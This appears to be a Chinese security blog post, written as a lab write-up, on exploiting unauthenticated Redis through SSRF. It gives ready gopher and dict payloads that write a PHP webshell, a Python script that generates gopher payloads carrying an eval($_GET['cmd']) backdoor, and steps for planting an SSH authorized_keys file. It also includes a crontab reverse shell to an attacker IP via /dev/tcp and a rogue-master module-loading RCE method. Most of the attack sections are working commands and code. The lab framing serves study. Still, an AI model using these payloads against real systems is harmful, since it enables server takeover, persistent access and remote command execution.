NEWS LETTER

ssrf之未授权redis漏洞利用

Scroll down

条件:

能未授权或者能通过弱口令认证访问到Redis服务器

RESP协议

Redis序列化协议,是Redis数据库用于客户端与服务端之间通信的一种简单、高效且具有广泛适用性的协议。简单来说,就是客户端通过RESP协议发送命令给Redis服务器,服务器处理后通过RESP协议返回结果给客户端。

基本格式

  1. 简单字符串(Simple String):以“+”开头,后面跟着一个字符串,用于表示状态信息或简单的文本回复,如“+OK\r\n”。
  2. 错误(Error):以“-”开头,后面跟着一个错误信息字符串,用于表示命令执行过程中出现的错误,如“-ERR unknown command ‘set1’\r\n”。
  3. 整数(Integer):以“:”开头,后面跟着一个整数,用于表示命令的返回结果是整数类型,如“:1\r\n”。
  4. 批量字符串(Bulk String):以“$”开头,后面跟着一个数字表示字符串的长度,然后是字符串内容,最后以“\n˚”结尾。如果字符串不存在,则用“-1\r\n”表示。
  5. 数组(Array):以“*”开头,后面跟着一个数字表示数组的长度,然后是数组中的元素,数组中的每个元素都是RESP协议支持的数据类型之一。数组用于表示多个值的集合,如命令的多个参数或命令的返回结果是多个值的集合。

redis命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
1. PING
用来探测redis服务连通性

2. info
查看redis服务的基础信息
主要关注服务器版本,以及config文件存放位置
redis_version
config_file

3. select
选择数据库,redis默认有16个数据库,即0-15

4. get set
在redis中使用get获取指定key的value值,然后使用set来设置指定key的value值
set name pysnow
get name

5. keys
列出当前数据库指定的键名,*代表所有
keys *

6. config
配置命令,可以把配置理解为一个特殊的数据库
config get * 获取config中的所有键和值
config set dbfilename "shell.php" 可以通过这个设置数据库存储的文件
常用配置:
dbfilename:数据库持久化文件名
dir:redis数据文件存储目录
requirepass:密码

7. save
保存数据

8. flushall
清空数据

9.module load
动态加载Reids模块

10.slaveof
建立主从关系

常见ssrf攻击方式:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

绝对路径写webshell

构造redis命令

1
2
3
4
5
6
7
8
1.设置web路径
config set dir /var/www/html
2.设置shell文件名
config set dbfilename shell.php
3.向数据库插入payload
set payload "<?php phpinfo();?>"
4.保存webshell
save

靶场历险记1

靶场:https://github.com/mcc0624/SSRF
(换了无数次镜像源,终于拉取成功了)
工具:wireshark&tcpdump(kali自带)

1
ip addr

接口和ip地址
使用dict协议探测内网主机,利用burp爆破D段

dict://172.250.250.9:6379/info 可以查看redis版本信息

docker ps查看未授权redis容器的id

docker exec -it 01 bash 连接

到网站根目录,此时只有一个index.php文件
tcpdump抓取redis-cli的包

1
tcpdump -i  br-be9a386f1572 tcp and port 6379 -w redis.pcapng

输入上述redis命令

结束抓包,用wireshark打开redis.pcapng
追踪流->tcp

抓到的数据如下:

构造gopher协议
根据规则进行替换和编码(注意?)notepad

1
2
payload:
url=gopher://172.250.250.9:6379/_*4%250d%250A%246%250d%250Aconfig%250d%250A%243%250d%250Aset%250d%250A%243%250d%250Adir%250d%250A%2414%250d%250A%2Fvar%2Fwww%2Fhtml%2F%250d%250A*4%250d%250A%246%250d%250Aconfig%250d%250A%243%250d%250Aset%250d%250A%2410%250d%250Adbfilename%250d%250A%249%250d%250Ashell.php%250d%250A*3%250d%250A%243%250d%250Aset%250d%250A%247%250d%250Apayload%250d%250A%2418%250d%250A%3C%253Fphp%20phpinfo()%3B%253F%3E%250d%250A*1%250d%250A%244%250d%250Asave%250d%250A*1%250d%250A%244%250d%250Aquit (进行二次编码)

之后再访问

1
url=[http://172.250.250.9/shell.php](http://172.250.250.9/shell.php)
成功写入

利用gopherus生成payload

内容是一句话木马

_后面还要再一次url编码,成功后访问shell.php
post传参即可

构造gopher协议脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd="" #如果无密码就不加,如果有密码就加
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(urllib.parse.quote(payload))

利用dict协议

如果redis有认证,可以通过
dict://ip:6379/auth:密码 (密码使用字典爆破)
也就是说dict协议可以用来执行redis命令
注:dict中空格改为冒号 冒号会被解析为空格

1
2
3
4
5
dict://127.0.0.1:6379/info
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/config:set:dbfilename:shell.php
dict://127.0.0.1:6379/set:payload:"\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"//(<?=phpinfo();?>的16进制形式)
dict://127.0.0.1:6379/save
成功写入

由此可以看出,dict协议一次只能执行一行命令

写入ssh公钥

如果对方开启了ssh,可以尝试写入ssh公钥文件。从而进行ssh登录

1
2
3
4
5
6
7
1.在kali上生成私钥对
ssh-keygen -t rsa
2.
config set dir /root/.ssh
config set dbfilename authorized_keys
set payload "1生成的公钥文件(id_rsa.pub)内容"
save

靶场历险记2

在kali上生成私钥对

id_rsa是私钥文件,id_rsa.pub是公钥文件
目标就是在目标主机创建一个authorized_keys文件,并把公钥内容写到目标主机下面
依旧是写入文件

构造gopher协议

成功写入
(靶机端口和ip地址)

不需要密码,也可以成功登入

crontab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

什么是crontab计划任务

crontab计划任务在Linux系统中是一种强大的工具,用于安排程序或脚本在特定时间自动执行。通俗地讲,crontab就像是你的个人电脑或服务器上的一个“定时闹钟”,但比闹钟更智能,因为它不仅能按设定的时间唤醒你(执行程序),还能在特定的日期、月份甚至星期几执行任务。

注:在写入计划任务前后要加上\n来进行换行,否则数据污染会导致计划任务无法执行

使用dict协议

1
2
3
4
5
dict://172.250.250.9:6379/flushall     清除所有键值
dict://172.250.250.9:6379/config:set:dir:/var/spool/cron/ 设置保存路径
dict://172.250.250.9:6379/config:set:dbfilename:root 保存名称
dict://172.250.250.9:6379/set:x:"\n*/1****/bin/bash -i >& /dev/tcp/192.168.187.130/port 0>&1\n" 将反弹shell写入x键值(后面要进行16进制转码)
dict://172.250.250.9:6379/save 保存

使用gopher协议

1
2
 ufw allow 1234
开启1234端口
kali起一个监听
1
nc -lvp 1234
成功反弹

其他利用

主从复制getshell

什么是主从复制

Redis主从复制是一种数据复制和备份的方式,旨在将一个Redis实例(主节点)的数据复制到另一个或多个Redis实例(从节点)。

优点:

  1. 提升读取性能:通过读写分离,主节点写,从节点读。
  2. 数据备份和恢复:主节点出问题时,可以从从节点恢复数据。

Redis主从复制的原理

Redis主从复制的过程可以分为几个阶段:

  1. 初始化同步阶段
    • 从节点与主节点建立连接后,发送一个同步请求给主节点。
    • 主节点接到请求后,会生成一份当前数据的快照(RDB文件),并将这份快照发送给从节点。
    • 从节点接收到快照后,会加载这份快照到自己的内存中,从而实现数据的初始化同步。
  2. 增量复制阶段
    • 在初始化同步完成后,主节点会将后续接收到的写操作指令发送给从节点。
    • 从节点接收并重新执行这些写操作指令,以保持与主节点数据的一致性。
  3. 持续复制阶段
    • 从节点会持续监听主节点的写操作指令,并按照接收顺序执行,以保持与主节点数据的实时同步。
1
2
这也是redis从ssrf到rce的核心:
通过主从复制,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据时就会通过主从复制复制到其它从redis

看一下主从复制的效果:

先在一个机器上开两个redis实例,一个端口为6379,一个端口为6380
6379端口已经配置好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 cp /etc/redis/redis.conf  /etc/redis/redis-6380.conf
创建6380端口的配置文件
vi /etc/redis/redis-6380.conf
将下面写入:
port 6380
pidfile /var/run/redis/redis-6380.pid
logfile "/var/log/redis/redis-6380.log"
dir /var/lib/redis/6380


创建/var/lib/redis/6380目录
sudo mkdir -p /var/lib/redis/6380


启动6379 redis实例
redis-server /etc/redis/redis.conf
启动6380 redis实例
redis-server /etc/redis/redis-6380.conf

把master_ip设置为127.0.0.1,master_port为6380

即就是将当前redis实例(6379)作为6380的从节点,6380为主节点

没有test的键于是就设置一个test键,值为test,并退出

再连接从节点,发现存在test键,值为test
说明完成主从复制

如果想解除主从关系可以执行SLAVEOF NO ONE

redis module

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件

redis-rogue-server 工具:

https://github.com/n0b0dyCN/redis-rogue-server

工具介绍:

该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。
有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。
然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

但是该工具无法输入Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。

用到的项目:
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/xmsec/redis-ssrf/blob/master/ssrf-redis.py

将第一个的exp.so和redis-rogue-server.py以及第二个的ssrf-redis.py这三个文件放在kali的同一个目录下

ssrf-redis.py构造gopher协议,长这样 redis-rogue-server.py创建恶意redis服务器

再将gopher协议打进去即可

参考文章:

浅析Redis中SSRF的利用 - 先知社区
跟着国光师傅学习SSRF
靶场:ssrf_vul/README.md at main · Duoduo-chino/ssrf_vul

其他文章
cover
2024.7.22
  • 24/07/22
  • 12:41
  • 日常
目录导航 置顶
  1. 1. 条件:
  2. 2. RESP协议
    1. 2.1. 基本格式
  3. 3. 常见ssrf攻击方式:
    1. 3.1. 绝对路径写webshell
      1. 3.1.1. 靶场历险记1
      2. 3.1.2. 利用gopherus生成payload
      3. 3.1.3. 构造gopher协议脚本
      4. 3.1.4. 利用dict协议
    2. 3.2. 写入ssh公钥
      1. 3.2.1. 靶场历险记2
    3. 3.3. crontab计划任务反弹shell
      1. 3.3.1. 什么是crontab计划任务
      2. 3.3.2. 使用dict协议
      3. 3.3.3. 使用gopher协议
  4. 4. 其他利用
    1. 4.1. 主从复制getshell
      1. 4.1.1. 什么是主从复制
      2. 4.1.2. redis module
      3. 4.1.3. redis-rogue-server 工具:
  5. 5. 参考文章: